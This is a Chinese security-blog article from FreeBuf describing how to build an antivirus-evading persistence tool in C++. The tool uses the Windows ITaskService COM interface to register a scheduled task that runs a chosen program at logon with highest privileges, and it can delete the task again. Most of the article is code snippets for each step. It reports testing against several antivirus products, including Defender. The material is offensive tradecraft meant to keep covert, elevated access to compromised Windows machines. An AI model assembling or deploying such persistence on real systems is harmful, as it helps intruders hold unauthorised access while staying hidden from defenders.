freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

免杀权限维持之「计划任务」
2021-10-27 13:25:53

今天分享一个权限维持程序的实现思路,使用c++调用COM组件ITaskService,来实现一个免杀权限维持功能。

实现原理

程序功能分为三部分,首先是初始化,其次是添加计划任务,最后添加了删除计划任务功能。

以下只展示思路与代码demo

1.Initialization

为了获取到获取 ITaskService 对象以及 ITaskFolder 对象

首先初始化COM接口

//  初始化 COM
	hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);

  //  设置 COM security levels.
  hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);

  //  创建Task Service对象
  hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
  //  连接到Task Service
  hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());

  hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);

2.CreateTask

首先创建任务定义对象,进行任务创建操作

hr = pService->NewTask(0, &pTask);

接着设置注册信息

hr = pTask->get_RegistrationInfo(&pRegInfo);
	//作者
	hr = pRegInfo->put_Author(_bstr_t(wszAuthor));
	//描述
	hr = pRegInfo->put_Description(_bstr_t(wszDescription));

设置主体信息

hr = pTask->get_Principal(&pPrincipal);
  //  设置登陆类型
	hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);

  // 设置运行权限
	hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);

设置任务相关信息

hr = pTask->get_Settings(&pSettings);

	hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
	hr = pSettings->get_IdleSettings(&pIdleSettings);

创建触发器

hr = pTask->get_Triggers(&pTriggerCollection);
	hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);

设置执行操作

hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
	hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
	//设置程序路径等信息
	hr = pExecAction->put_Path(_bstr_t(wszProgramPath));
	......

在ITaskFolder对象注册

hr = pRootFolder->RegisterTaskDefinition(_bstr_t(wszTaskName), pTask, TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(L""), &pRegisteredTask);

3.DeleteTask

直接根据事先写好的名字删除即可

hr = pRootFolder->DeleteTask(_bstr_t(TaskName), 0);

效果

只测试了几个常见国内以及Defender,更多的没有测试

以及更多好玩的工具、技巧欢迎关注微信公众号「黑客在思考」

# 权限维持 # 免杀
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者